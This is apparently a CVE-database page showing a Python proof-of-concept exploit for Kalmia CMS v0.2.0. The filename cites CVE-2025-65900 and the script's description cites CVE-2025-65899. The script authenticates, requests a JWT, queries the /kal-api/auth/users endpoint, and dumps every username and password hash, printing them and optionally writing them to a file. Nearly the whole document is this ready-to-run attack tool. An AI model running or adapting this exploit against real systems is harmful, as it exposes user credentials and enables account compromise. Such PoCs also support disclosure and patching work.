4837 Total CVEs
26 Years
GitHub
README.md
Rendering markdown...
POC / cve-2025-65900.py PY
#!/usr/bin/env python3

import argparse
import requests
import json
import sys
import os
from colorama import Fore, Style, init
from urllib.parse import urljoin
from time import sleep

init(autoreset=True)

banner = """
 ██████╗██╗   ██╗███████╗    ██████╗  ██████╗ ██████╗ ███████╗       ██████╗ ███████╗ █████╗  ██████╗  ██████╗ 
██╔════╝██║   ██║██╔════╝    ╚════██╗██╔═████╗╚════██╗██╔════╝      ██╔════╝ ██╔════╝██╔══██╗██╔═████╗██╔═████╗
██║     ██║   ██║█████╗█████╗ █████╔╝██║██╔██║ █████╔╝███████╗█████╗███████╗ ███████╗╚██████║██║██╔██║██║██╔██║
██║     ╚██╗ ██╔╝██╔══╝╚════╝██╔═══╝ ████╔╝██║██╔═══╝ ╚════██║╚════╝██╔═══██╗╚════██║ ╚═══██║████╔╝██║████╔╝██║
╚██████╗ ╚████╔╝ ███████╗    ███████╗╚██████╔╝███████╗███████║      ╚██████╔╝███████║ █████╔╝╚██████╔╝╚██████╔╝
 ╚═════╝  ╚═══╝  ╚══════╝    ╚══════╝ ╚═════╝ ╚══════╝╚══════╝       ╚═════╝ ╚══════╝ ╚════╝  ╚═════╝  ╚═════╝ 
"""

for char in banner:
    print(f"{Fore.RED}{Style.BRIGHT}{char}", end='', flush=True)
    sleep(0.0008)

def getToken(url_base, endpoint_token, credentials):
    
    full_url = urljoin(url_base, endpoint_token)
    
    print(f"{Fore.YELLOW}{Style.BRIGHT}[*] Request token: {full_url}\n")
    
    try:
        response = requests.post(
            full_url,
            headers={
                'Content-Type': 'application/json',
                'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36'
            },
            data=json.dumps(credentials),
            timeout=30
        )

        if response.status_code != 200:
            print(f"[!] Status Code: {response.status_code}")
            sys.exit(1)
        
        try:
            resposta_json = response.json()
            token = resposta_json['token']
            return token
            
        except json.JSONDecodeError:
            print(f"\n[!] Invalid response")
            print(f"[+] Response content: {response.text}")
            sys.exit(1)
            
    except requests.exceptions.RequestException as e:
        print(f"[!] Request error: {e}")
        sys.exit(1)
    except Exception as e:
        print(f"[!] Unexpected error: {e}")
        sys.exit(1)

def dumpHashes(url, token, output):
    credentials = []
    response = requests.get(
        url,
        headers={
            'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36',
            'Authorization': f'Bearer {token}'
        },
        timeout=30
    )

    if response.status_code != 200:
        print(f"[!] Status Code: {response.status_code}")
        sys.exit(1)

    response = response.json()
    for items in response:
        credentials.append(f"{items['username']}:{items['password']}")

    for creds in credentials:
        print(f"{Fore.GREEN}{Style.BRIGHT}[+] {creds}")
    
    if output:
        output_path = os.path.abspath(output)
        with open(output_path, 'w') as f:
            for creds in credentials:
                f.write(creds + '\n')
            
def main():
    parser = argparse.ArgumentParser(description='Exploit for dump password hashes: Kalmia CMS v0.2.0 - CVE-2025-65899', formatter_class=argparse.RawDescriptionHelpFormatter)
    parser.add_argument('url', help='Base URL needs http or https (ex: http://localhost:2727)')
    parser.add_argument('-t', '--token-endpoint',default='/kal-api/auth/jwt/create',help='Endpoint to get access token (default: /kal-api/auth/jwt/create)')
    parser.add_argument('-u', '--user',required=True, help='User for authetication')
    parser.add_argument('-p', '--password', required=True, help='Password for authetication')
    parser.add_argument('-d', '--dump', default='/kal-api/auth/users', help='Optional parameter to API for dumping users and password hashes (default: /kal-api/auth/users)')
    parser.add_argument('-a', '--auth', help='Optional parameter to skip getToken function')
    parser.add_argument('-o', '--output',help='Save password hashes')
    
    args = parser.parse_args()

    credentials = {
        'username': args.user,
        'password': args.password
    }
    
    print("-" * 50)
    print(f"[*] URL Base: {args.url}")
    print(f"[*] Endpoint Token: {args.token_endpoint}")
    print(f"[*] Endpoint Password Hashes: {args.dump}")
    print("-" * 50)
    
    if not args.url.startswith(('http://', 'https://')):
        print("[!] URL needs to start with http:// ou https://")
        sys.exit(1)
    
    if not args.auth:
        token = getToken(args.url, args.token_endpoint,credentials)
    else:
        token = args.auth

    if not args.output:
        output = None
    else:
        output = args.output

    dumpHashes(urljoin(args.url, args.dump), token, output)
    
    if token is None:
        print("\n[!] Request failure")
        sys.exit(1)
    else:
        print("\n[+] Request success")
        sys.exit(0)

if __name__ == "__main__":
    main()